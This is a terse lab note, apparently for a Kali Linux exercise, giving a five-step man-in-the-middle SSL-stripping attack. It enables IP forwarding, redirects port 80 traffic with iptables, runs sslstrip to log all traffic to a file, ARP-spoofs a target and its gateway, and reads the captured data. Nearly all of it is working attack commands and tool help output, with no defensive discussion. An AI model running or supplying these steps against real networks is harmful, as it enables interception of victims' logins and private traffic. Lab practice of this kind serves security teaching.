SSL Hacking LAB
####################################################################################

step 1) you need to make your KAli Linux behave as a router

echo "1" > /proc/sys/net/ipv4/ip_forward

step 2)

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


step 3)

run sslstrip ### many examples ....

sslstrip -w capture.txt -a -l 10000   < dont close the terminal

sslstrip 0.9 by Moxie Marlinspike
Usage: sslstrip <options>

Options:
-w <filename>, --write=<filename> Specify file to log to (optional).
-p , --post                       Log only SSL POSTs. (default)
-s , --ssl                        Log all SSL traffic to and from server.
-a , --all                        Log all SSL and HTTP traffic to and from server.
-l <port>, --listen=<port>        Port to listen on (default 10000).
-f , --favicon                    Substitute a lock favicon on secure requests.
-k , --killsessions               Kill sessions in progress.
-h                                Print this help message.

step 4)

spoof the gateway and target

arpspoof -i eth0 -t 172.16.254.247 172.16.254.2 < dont close the terminal


step 5) cat capture.txt

########################################################################################